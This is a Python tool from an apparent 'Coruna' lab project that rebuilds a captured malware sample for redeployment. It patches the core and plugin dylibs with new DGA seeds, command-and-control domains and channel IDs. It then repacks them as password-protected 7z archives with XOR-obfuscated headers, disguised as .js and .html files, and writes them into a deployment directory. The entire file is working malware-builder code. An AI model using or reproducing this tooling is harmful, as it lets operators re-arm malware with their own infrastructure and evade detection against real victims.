coruna-lab-web/frontend/tools/patch_core.py

#!/usr/bin/env python3
"""Patch seeds/domains/channel in core + sync business plugins; rebuild daily.html."""

from __future__ import annotations

import argparse
import json
import shutil
import struct
import subprocess
import tempfile
from pathlib import Path

from _channel_patch import patch_plain_channel_in_dylib, validate_channel_id
from _common import (
    CORE_DYLIB,
    DAILY_BODY,
    LAB_ROOT,
    ORIGINAL_CORE_CHANNEL_ID,
    SOURCE_ROOT,
    SYNC_MODULES,
    ensure_tree_layout,
    patch_seeds_in_dylib,
    set_tree_root,
    sha256_hex,
    tree_root,
    validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _path_patch import patch_initial_daily_path
import _common

from coruna_netconfig_pipeline import (
    HEADER_MARKER_1,
    HEADER_MARKER_2,
    HEADER_XOR,
    STANDARD_7Z_PREFIX,
    derive_archive_password,
    repair_coruna_7z_header,
)
from reproduce_coruna_dga import generate_domains

try:
    import py7zr
except ImportError as exc:  # pragma: no cover
    raise SystemExit("py7zr required: pip3 install py7zr") from exc


def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
    if not standard_7z.startswith(STANDARD_7Z_PREFIX):
        raise ValueError("expected a standard 7z archive")
    next_header_offset = struct.unpack_from("<Q", standard_7z, 12)[0]
    next_header_size = struct.unpack_from("<Q", standard_7z, 20)[0]
    out = bytearray(standard_7z)
    struct.pack_into("<Q", out, 0, HEADER_XOR ^ next_header_offset)
    struct.pack_into("<Q", out, 8, HEADER_XOR ^ next_header_size)
    struct.pack_into("<Q", out, 16, HEADER_MARKER_1)
    struct.pack_into("<Q", out, 24, HEADER_MARKER_2)
    return bytes(out)


# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19.
# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1).
_7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
_7Z_CACHE_TAG = b"lzma2:13\0"


def _find_7z() -> str:
    for name in ("7z", "7za"):
        path = shutil.which(name)
        if path:
            return path
    raise SystemExit(
        "7z required to pack Coruna archives (LZMA2:13). Install p7zip."
    )


def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
    """Build passworded 7z with sample-compatible LZMA2:13; cache by content."""
    cache_key = sha256_hex(
        _7Z_CACHE_TAG
        + member_name.encode("utf-8")
        + b"\0"
        + password.encode("utf-8")
        + b"\0"
        + payload
    )
    cache_dir = LAB_ROOT / "out" / "7z_cache"
    cache_path = cache_dir / cache_key
    if cache_path.is_file():
        return cache_path.read_bytes()

    seven = _find_7z()
    with tempfile.TemporaryDirectory() as tmp:
        root = Path(tmp)
        # Keep archive member name flat (basename only) like original wires.
        arc_name = Path(member_name).name
        member = root / arc_name
        member.write_bytes(payload)
        archive = root / "out.7z"
        cmd = [
            seven,
            "a",
            "-t7z",
            f"-m0={_7Z_PACK_FILTER}",
            "-mhe=on",
            f"-p{password}",
            "-y",
            "-bso0",
            "-bsp0",
            str(archive),
            str(member),
        ]
        proc = subprocess.run(cmd, capture_output=True, text=True)
        if proc.returncode != 0 or not archive.is_file():
            detail = (proc.stderr or proc.stdout or "").strip()
            raise RuntimeError(
                f"7z pack failed (code {proc.returncode}): {detail or 'no output'}"
            )
        data = archive.read_bytes()

    try:
        cache_dir.mkdir(parents=True, exist_ok=True)
        cache_path.write_bytes(data)
    except OSError:
        # Cache is optional — skip when the process user cannot write.
        pass
    return data


def extract_daily_config_bytes() -> bytes:
    repaired, _ = repair_coruna_7z_header(DAILY_BODY.read_bytes())
    password = derive_archive_password()
    with tempfile.TemporaryDirectory() as tmp:
        archive = Path(tmp) / "daily.7z"
        archive.write_bytes(repaired)
        with py7zr.SevenZipFile(archive, mode="r", password=password) as handle:
            handle.extractall(tmp)
        return (Path(tmp) / "tmp.dylib").read_bytes()


def load_sync_modules() -> list[dict]:
    if not SYNC_MODULES.is_file():
        raise SystemExit(f"missing sync module inventory: {SYNC_MODULES}")
    return json.loads(SYNC_MODULES.read_text())


def update_daily_hashes(
    config_bytes: bytes,
    hashes: dict[str, tuple[str, int]],
    *,
    channel: str,
) -> bytes:
    """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename."""
    obj = json.loads(config_bytes)
    prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync"

    def patch_entry(entry: dict) -> None:
        wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
        if not wire:
            raise SystemExit("daily config contains an empty module URL")
        entry["url"] = f"{prefix}/{wire}"
        if wire in hashes:
            digest, size = hashes[wire]
            entry["sha256"] = digest
            entry["size"] = size

    core = obj.get("core")
    if not isinstance(core, dict):
        raise SystemExit("daily config missing core object")
    patch_entry(core)
    for entry in obj.get("springboard_entries", []):
        patch_entry(entry)
    for entry in obj.get("entries", []):
        patch_entry(entry)
    return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")


def patch_module_channel(
    data: bytes,
    *,
    channel: str,
    expect_hits: int,
    label: str,
) -> bytes:
    if expect_hits <= 0 or channel == ORIGINAL_CORE_CHANNEL_ID:
        return data
    return patch_plain_channel_in_dylib(
        data,
        channel,
        old_channel=ORIGINAL_CORE_CHANNEL_ID,
        expect_hits=expect_hits,
        label=label,
    )


def main() -> int:
    parser = argparse.ArgumentParser(
        description=(
            "Patch core + sync business-plugin channel/seeds/domains and rebuild "
            "sync wires + daily.html"
        )
    )
    parser.add_argument("--deployment-seed", required=True)
    parser.add_argument("--reporting-seed", required=True)
    parser.add_argument(
        "--channel-id",
        help=(
            f"32-hex channel written into core + sync plugins "
            f"(default: keep {ORIGINAL_CORE_CHANNEL_ID})"
        ),
    )
    parser.add_argument(
        "--deployment-domains",
        action="append",
        default=[],
        help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
    )
    parser.add_argument(
        "--reporting-domains",
        action="append",
        default=[],
        help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
    )
    parser.add_argument(
        "--root",
        type=Path,
        help="project root containing web/ + sync/ (required with --apply)",
    )
    parser.add_argument(
        "--out",
        type=Path,
        help="output dir (default: <root>/out/sync or lab out/sync)",
    )
    parser.add_argument(
        "--apply",
        action="store_true",
        help="copy rebuilt daily.html + patched sync wires into <root>/sync/",
    )
    args = parser.parse_args()
    dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
    rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
    channel = (
        validate_channel_id(args.channel_id)
        if args.channel_id
        else ORIGINAL_CORE_CHANNEL_ID
    )
    fixed_dep = (
        parse_domain_list(args.deployment_domains, label="deployment")
        if args.deployment_domains
        else None
    )
    fixed_rep = (
        parse_domain_list(args.reporting_domains, label="reporting")
        if args.reporting_domains
        else None
    )
    if (fixed_dep is None) ^ (fixed_rep is None):
        raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")

    if args.root:
        set_tree_root(args.root)
        # sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
        ensure_tree_layout(tree_root(), require_campaign=False)
    if args.apply:
        if not args.root:
            raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
        if tree_root().resolve() == SOURCE_ROOT.resolve():
            raise SystemExit("refusing --apply into source/; create a project first")
    if args.out is None:
        args.out = tree_root() / "out" / "sync" if args.root else LAB_ROOT / "out" / "sync"
    sync_dir = _common.SYNC_DIR

    if not CORE_DYLIB.is_file():
        raise SystemExit(f"missing core dylib: {CORE_DYLIB}")
    if not DAILY_BODY.is_file():
        raise SystemExit(f"missing daily body: {DAILY_BODY}")

    modules = load_sync_modules()
    password = derive_archive_password()
    out: Path = args.out
    out.mkdir(parents=True, exist_ok=True)
    dylibs_dir = out / "dylibs"
    dylibs_dir.mkdir(exist_ok=True)

    hashes: dict[str, tuple[str, int]] = {}
    rebuilt_wires: list[str] = []
    core_path_patch_meta: dict | None = None

    for mod in modules:
        wire = mod["wire"]
        member = mod["member"]
        expect = int(mod.get("expect_channel_hits", 0))
        rel = mod.get("source_rel") or f"source/sync_dylibs/{member}"
        src = LAB_ROOT / rel
        if not src.is_file():
            raise SystemExit(f"missing sync dylib for {wire}: {src}")

        data = src.read_bytes()
        label = f"sync/{wire} ({member})"

        if wire == "erupt_flee.js":
            data = patch_seeds_in_dylib(
                data,
                dep,
                rep,
                expect_dep=2,
                expect_rep=2,
                label=label,
            )
            if fixed_dep is not None and fixed_rep is not None:
                data = patch_fixed_domains_in_dylib(
                    data,
                    fixed_dep,
                    fixed_rep,
                    deployment_seed=dep,
                    reporting_seed=rep,
                    label=label,
                )

        if expect > 0:
            data = patch_module_channel(
                data,
                channel=channel,
                expect_hits=expect,
                label=label,
            )
            if wire == "erupt_flee.js":
                data, core_path_patch_meta = patch_initial_daily_path(
                    data,
                    channel,
                    label=label,
                )
                print(
                    f"path-patched {wire}: {core_path_patch_meta.get('path')} "
                    f"(container={core_path_patch_meta.get('container', 'thin')})"
                )
            digest = sha256_hex(data)
            size = len(data)
            hashes[wire] = (digest, size)
            wire_bytes = obfuscate_coruna_7z_header(
                make_passworded_7z(member, data, password)
            )
            (out / wire).write_bytes(wire_bytes)
            (dylibs_dir / member).write_bytes(data)
            rebuilt_wires.append(wire)
            print(f"patched {wire}: sha256={digest[:16]}… size={size} channel={channel}")
        else:
            print(f"skip channel {wire}: no embedded core channel")

    if "erupt_flee.js" not in hashes:
        raise SystemExit("core erupt_flee.js was not rebuilt")

    core_digest, core_size = hashes["erupt_flee.js"]
    (out / "tmp.patched.dylib").write_bytes((dylibs_dir / "tmp.dylib").read_bytes())

    config_bytes = update_daily_hashes(
        extract_daily_config_bytes(),
        hashes,
        channel=channel,
    )
    daily_wire = obfuscate_coruna_7z_header(
        make_passworded_7z("tmp.dylib", config_bytes, password)
    )
    (out / "daily.html").write_bytes(daily_wire)
    (out / "config.patched.json").write_text(
        json.dumps(json.loads(config_bytes), indent=2) + "\n"
    )

    dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
    rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
    manifest = {
        "deployment_seed": dep,
        "reporting_seed": rep,
        "channel_id": channel,
        "core_channel_original": ORIGINAL_CORE_CHANNEL_ID,
        "mode": "fixed_domains" if fixed_dep is not None else "dga",
        "core_sha256": core_digest,
        "core_size": core_size,
        "daily_sha256": sha256_hex(daily_wire),
        "erupt_flee_sha256": sha256_hex((out / "erupt_flee.js").read_bytes()),
        "patched_wires": rebuilt_wires,
        "module_sha256": {w: h for w, (h, _) in hashes.items()},
        "deployment_domains": dep_domains,
        "reporting_domains": rep_domains,
        "daily_path": f"/channel/{channel}/sync/daily.html",
        "sync_path_prefix": f"/channel/{channel}/sync/",
        "initial_daily_path_patch": core_path_patch_meta,
    }
    (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")

    print(f"core sha256={core_digest} size={core_size}")
    print(f"channel: {channel} (core/plugins from {ORIGINAL_CORE_CHANNEL_ID})")
    print(f"wrote {len(rebuilt_wires)} sync wires + daily.html -> {out}")
    print("deployment domains:")
    for d in manifest["deployment_domains"]:
        print(f"  {d}")
    print("reporting domains:")
    for d in manifest["reporting_domains"]:
        print(f"  {d}")

    if args.apply:
        shutil.copy2(out / "daily.html", sync_dir / "daily.html")
        for wire in rebuilt_wires:
            shutil.copy2(out / wire, sync_dir / wire)
            print(f"applied -> {sync_dir / wire}")
        print(f"applied daily.html -> {sync_dir}")
    else:
        print(
            "\nRe-run with --apply --root <project> to overwrite "
            "sync/{daily.html + patched wires}"
        )
    return 0


if __name__ == "__main__":
    raise SystemExit(main())